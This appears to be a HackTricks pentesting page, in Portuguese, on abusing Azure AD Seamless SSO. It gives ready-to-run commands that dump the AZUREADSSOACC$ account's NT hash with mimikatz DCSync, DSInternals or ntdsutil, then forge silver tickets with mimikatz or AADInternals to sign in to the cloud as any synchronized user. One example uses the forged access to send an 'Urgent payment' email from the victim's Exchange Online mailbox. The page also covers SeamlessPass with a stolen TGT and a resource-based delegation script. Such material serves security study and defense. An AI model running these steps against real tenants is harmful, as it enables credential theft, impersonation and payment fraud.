Az - Seamless SSO

Supporte o HackTricks

Informações Básicas

Dos documentos: O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) loga automaticamente os usuários quando estão em seus dispositivos corporativos conectados à sua rede corporativa. Quando ativado, os usuários não precisam digitar suas senhas para fazer login no Azure AD, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso fornece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais no local.

Basicamente, o Azure AD Seamless SSO loga os usuários quando estão em um PC associado ao domínio local.

É suportado tanto por PHS (Sincronização de Hash de Senha) quanto por PTA (Autenticação Pass-through).

O SSO de desktop usa Kerberos para autenticação. Quando configurado, o Azure AD Connect cria uma conta de computador chamada AZUREADSSOACC$ no AD local. A senha da conta AZUREADSSOACC$ é enviada em texto simples para o Azure AD durante a configuração.

Os tickets Kerberos são criptografados usando o NTHash (MD4) da senha e o Azure AD usa a senha enviada para descriptografar os tickets.

Azure AD expõe um endpoint (https://autologon.microsoftazuread-sso.com) que aceita tickets Kerberos. O navegador da máquina associada ao domínio encaminha os tickets para este endpoint para SSO.

Local -> nuvem

A senha do usuário AZUREADSSOACC$ nunca muda. Portanto, um administrador de domínio poderia comprometer o hash desta conta, e então usá-lo para criar tickets silver para se conectar ao Azure com qualquer usuário local sincronizado:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Com o hash, você agora pode gerar tickets silver:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Para utilizar o ticket silver, os seguintes passos devem ser executados:

  1. Iniciar o Navegador: O Mozilla Firefox deve ser iniciado.

  2. Configurar o Navegador:

  1. Acessar a Aplicação Web:

  • Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é Office 365.

  1. Processo de Autenticação:

  • Na tela de login, o nome de usuário deve ser inserido, deixando o campo da senha em branco.

  • Para prosseguir, pressione TAB ou ENTER.

Isso não contorna o MFA se estiver habilitado

Opção 2 sem dcsync - SeamlessPass

Também é possível realizar este ataque sem um ataque dcsync para ser mais furtivo, como explicado neste post do blog. Para isso, você só precisa de um dos seguintes:

  • Um TGT de usuário comprometido: Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como Kekeo e Rubeus.

  • Golden Ticket: Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.

  • Hash NTLM ou chave AES de um usuário comprometido: O SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT.

  • Hash NTLM ou chave AES da conta AZUREADSSOACC$: Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar com a nuvem (como realizado no método anterior).

Finalmente, com o TGT, é possível usar a ferramenta SeamlessPass com:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Mais informações para configurar o Firefox para funcionar com SSO sem interrupções podem ser encontradas neste post do blog.

Criando tickets Kerberos para usuários somente na nuvem

Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem definir SID para qualquer usuário da nuvem. Dessa forma, os tickets Kerberos podem ser criados também para usuários somente na nuvem. O único requisito é que o SID seja um SID adequado.

Alterar o SID de usuários administradores somente na nuvem agora está bloqueado pela Microsoft. Para mais informações, consulte https://aadinternals.com/post/on-prem_admin/

On-prem -> Nuvem via Delegação Constrained Baseada em Recurso

Qualquer pessoa que possa gerenciar contas de computador (AZUREADSSOACC$) no contêiner ou OU em que essa conta está, pode configurar uma delegação constrained baseada em recurso sobre a conta e acessá-la.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Referências

Suporte ao HackTricks

Last updated